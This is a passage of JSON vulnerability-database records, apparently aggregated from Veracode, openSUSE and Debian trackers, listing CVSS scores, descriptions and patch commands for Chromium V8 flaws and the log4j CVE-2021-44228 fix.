"modified": "2022-02-19T00:37:42", "id": "VERACODE:32885", "href": "https://sca.analysiscenter.veracode.com/vulnerability-database/security/1/1/sid-32885/summary", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-07-17T12:42:25", "description": "chrome is vulnerable to use-after free. The vulnerability exists in v8 allowed a remote attacker to potentially crash via a crafted HTML page.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-01-20T06:22:11", "type": "veracode", "title": "Use After Free", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-4102"], "modified": "2022-02-15T18:32:19", "id": "VERACODE:33785", "href": "https://sca.analysiscenter.veracode.com/vulnerability-database/security/1/1/sid-33785/summary", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-07-17T12:48:31", "description": "chromium is vulnerable to information disclosure. The vulnerability exists due to a use after free in Indexed DB API.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.6, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 6.0}, "published": "2021-09-15T02:04:51", "type": "veracode", "title": "Information Disclosure", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30633"], "modified": "2021-11-24T00:11:15", "id": "VERACODE:32106", "href": "https://sca.analysiscenter.veracode.com/vulnerability-database/security/1/1/sid-32106/summary", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-10-28T01:14:58", "description": "Chrome is vulnerable to denial of service. The vulnerability exists due to a Type Confusion in V8 which allows an attacker to cause an application crash.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-03-29T09:45:40", "type": "veracode", "title": "Denial Of Service (DoS)", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2022-1096"], "modified": "2022-10-28T00:15:52", "id": "VERACODE:34866", "href": "https://sca.analysiscenter.veracode.com/vulnerability-database/security/1/1/sid-34866/summary", "cvss": {"score": 0.0, "vector": "NONE"}}], "suse": [{"lastseen": "2022-11-06T12:09:24", "description": "An update that fixes one vulnerability is now available.\n\nDescription:\n\n This update for chromium fixes the following issues:\n\n Update to 88.0.4324.150 boo#1181827\n\n - CVE-2021-21148: Heap buffer overflow in V8\n\n This update was imported from the openSUSE:Leap:15.2:Update update project.\n\n\nPatch Instructions:\n\n To install this openSUSE Security Update use the SUSE recommended installation methods\n like YaST online_update or \"zypper patch\".\n\n Alternatively you can run the command listed for your product:\n\n - openSUSE Backports SLE-15-SP2:\n\n zypper in -t patch openSUSE-2021-276=1", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-02-11T00:00:00", "type": "suse", "title": "Security update for chromium (important)", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148"], "modified": "2021-02-11T00:00:00", "id": "OPENSUSE-SU-2021:0276-1", "href": "https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/WRRV235H6DBC62DZZGTBUASQEOYUJUOQ/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-11-06T12:09:24", "description": "An update that fixes one vulnerability is now available.\n\nDescription:\n\n This update for opera fixes the following issues:\n\n - Update to version 74.0.3911.107\n - CHR-8311 Update chromium on desktop-stable-88-3911 to 88.0.4324.150\n - DNA-90329 Implement client_capabilities negotiation for Flow / Sync\n - DNA-90560 [Search Tabs] Open Tabs On Top\n - DNA-90620 Add opauto tests for tab snoozing\n - DNA-90628 Update opauto tests after design changes\n - DNA-90818 Only 3 recently closed tabs are shown in a search mode\n - DNA-90911 Enable search-tabs-open-tabs-on-top on developer\n - DNA-90990 Crash at opera::AddressBarView::NotifyBoundsChanged()\n - DNA-90991 Opera doesn\ufffd\ufffd\ufffdt show version and \ufffd\ufffd\ufffdRelaunch\ufffd\ufffd\ufffd button\n despite update is ready\n - DNA-91097 Crash at extensions::BrowserSidebarPrivateGetPremium\n ExtensionsInfoFunction::Run()\n - DNA-91163 [Win] \ufffd\ufffd\ufffdURL navigation filters\ufffd\ufffd\ufffd subpage doesn\ufffd\ufffd\ufffdt react\n on actions\n - DNA-91196 [Flow] Device capabilities is not properly saved in Local\n State\n - DNA-91276 Sidebar setup wont open\n - The update to chromium 88.0.4324.150 fixes following issues:\n - CVE-2021-21148 (1181827)\n\n\nPatch Instructions:\n\n To install this openSUSE Security Update use the SUSE recommended installation methods\n like YaST online_update or \"zypper patch\".\n\n Alternatively you can run the command listed for your product:\n\n - openSUSE Leap 15.2:NonFree:\n\n zypper in -t patch openSUSE-2021-296=1", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-02-15T00:00:00", "type": "suse", "title": "Security update for opera (important)", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148"], "modified": "2021-02-15T00:00:00", "id": "OPENSUSE-SU-2021:0296-1", "href": "https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/J3D452OYQTKXJQRO2OWRU5IM6SC2Y3TK/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-11-09T21:01:14", "description": "An update that fixes one vulnerability is now available.\n\nDescription:\n\n This update for chromium fixes the following issues:\n\n Update to 88.0.4324.150 boo#1181827\n\n - CVE-2021-21148: Heap buffer overflow in V8\n\n\nPatch Instructions:\n\n To install this openSUSE Security Update use the SUSE recommended installation methods\n like YaST online_update or \"zypper patch\".\n\n Alternatively you can run the command listed for your product:\n\n - openSUSE Leap 15.2:\n\n zypper in -t patch openSUSE-2021-267=1", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-02-09T00:00:00", "type": "suse", "title": "Security update for chromium (important)", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148"], "modified": "2021-02-09T00:00:00", "id": "OPENSUSE-SU-2021:0267-1", "href": "https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/BZEZQO2PMEYX4NTXGJYF3SK3LVAZ4AS2/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-04-18T12:39:52", "description": "An update that fixes one vulnerability is now available.\n\nDescription:\n\n This update for log4j fixes the following issue:\n\n CVE-2021-44228: The previously published fix by upstream turned out to be\n incomplete. Therefore, upstream has recommended disabling JNDI support in\n log4j by default to be completely sure that this vulnerability cannot be\n exploited. This update implements that recommendation and disables JNDI\n support by default. [bsc#1193611, CVE-2021-44228]\n\n This update was imported from the SUSE:SLE-15-SP2:Update update project.\n\n\nPatch Instructions:\n\n To install this openSUSE Security Update use the SUSE recommended installation methods\n like YaST online_update or \"zypper patch\".\n\n Alternatively you can run the command listed for your product:\n\n - openSUSE Leap 15.2:\n\n zypper in -t patch openSUSE-2021-1586=1", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-12-15T00:00:00", "type": "suse", "title": "Security update for log4j (important)", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228"], "modified": "2021-12-15T00:00:00", "id": "OPENSUSE-SU-2021:1586-1", "href": "https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/MM3SIUADOVLPKKTSRFXAGFZXOZH63CFG/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-11-10T08:09:55", "description": "An update that fixes one vulnerability is now available.\n\nDescription:\n\n This update for log4j fixes the following issue:\n\n CVE-2021-44228: The previously published fix by upstream turned out to be\n incomplete. Therefore, upstream has recommended disabling JNDI support in\n log4j by default to be completely sure that this vulnerability cannot be\n exploited. This update implements that recommendation and disables JNDI\n support by default. [bsc#1193611, CVE-2021-44228]\n\n\nPatch Instructions:\n\n To install this openSUSE Security Update use the SUSE recommended installation methods\n like YaST online_update or \"zypper patch\".\n\n Alternatively you can run the command listed for your product:\n\n - openSUSE Leap 15.3:\n\n zypper in -t patch openSUSE-SLE-15.3-2021-4094=1", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-12-15T00:00:00", "type": "suse", "title": "Security update for log4j (important)", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228"], "modified": "2021-12-15T00:00:00", "id": "OPENSUSE-SU-2021:4094-1", "href": "https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/RDZ2MV2SSNKVN4EVV5AQ3HGQ2G4U2JHS/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "debiancve": [{"lastseen": "2023-12-03T15:19:45", "description": "Heap buffer overflow in V8 in Google Chrome prior to 88.0.4324.150 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-02-09T16:15:00", "type": "debiancve", "title": "CVE-2021-21148", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148"], "modified": "2021-02-09T16:15:00", "id": "DEBIANCVE:CVE-2021-21148", "href": "https://security-tracker.debian.org/tracker/CVE-2021-21148", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T15:19:45", "description": "Type Confusion in V8 in Google Chrome prior to 91.0.4472.164 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-08-03T19:15:00", "type": "debiancve", "title": "CVE-2021-30563", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30563"], "modified": "2021-08-03T19:15:00", "id": "DEBIANCVE:CVE-2021-30563", "href": "https://security-tracker.debian.org/tracker/CVE-2021-30563", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T18:24:09", "description": "Inappropriate implementation in V8 in Google Chrome prior to 95.0.4638.69 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-11-23T22:15:00", "type": "debiancve", "title": "CVE-2021-38003", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38003"], "modified": "2021-11-23T22:15:00", "id": "DEBIANCVE:CVE-2021-38003", "href": "https://security-tracker.debian.org/tracker/CVE-2021-38003", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T15:19:45", "description": "Type confusion in V8 in Google Chrome prior to 91.0.4472.101 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-06-15T22:15:00", "type": "debiancve", "title": "CVE-2021-30551", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30551"], "modified": "2021-06-15T22:15:00", "id": "DEBIANCVE:CVE-2021-30551", "href": "https://security-tracker.debian.org/tracker/CVE-2021-30551", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T18:24:09", "description": "Use after free in V8 in Google Chrome prior to 94.0.4606.71 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-10-08T22:15:00", "type": "debiancve", "title": "CVE-2021-37975", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-37975"], "modified": "2021-10-08T22:15:00", "id": "DEBIANCVE:CVE-2021-37975", "href": "https://security-tracker.debian.org/tracker/CVE-2021-37975", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T15:19:45", "description": "Type confusion in V8 in Google Chrome prior to 90.0.4430.85 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-04-26T17:15:00", "type": "debiancve", "title": "CVE-2021-21224", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21224"], "modified": "2021-04-26T17:15:00", "id": "DEBIANCVE:CVE-2021-21224", "href": "https://security-tracker.debian.org/tracker/CVE-2021-21224", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T15:19:46", "description": "Use after free in Indexed DB API in Google Chrome prior to 93.0.4577.82 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.6, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 6.0}, "published": "2021-10-08T21:15:00", "type": "debiancve", "title": "CVE-2021-30633", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30633"], "modified": "2021-10-08T21:15:00", "id": "DEBIANCVE:CVE-2021-30633", "href": "https://security-tracker.debian.org/tracker/CVE-2021-30633", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T18:24:09", "description": "Use after free in V8 in Google Chrome prior to 96.0.4664.110 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-02-11T23:15:00", "type": "debiancve", "title": "CVE-2021-4102", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-4102"], "modified": "2022-02-11T23:15:00", "id": "DEBIANCVE:CVE-2021-4102", "href": "https://security-tracker.debian.org/tracker/CVE-2021-4102", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T15:19:47", "description": "Type confusion in V8 in Google Chrome prior to 99.0.4844.84 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-07-23T00:15:00", "type": "debiancve", "title": "CVE-2022-1096", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-1096"], "modified": "2022-07-23T00:15:00", "id": "DEBIANCVE:CVE-2022-1096", "href": "https://security-tracker.debian.org/tracker/CVE-2022-1096", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "freebsd": [{"lastseen": "2023-12-03T16:50:38", "description": "\n\nChrome Releases reports:\n\n[1170176] High CVE-2021-21148: Heap 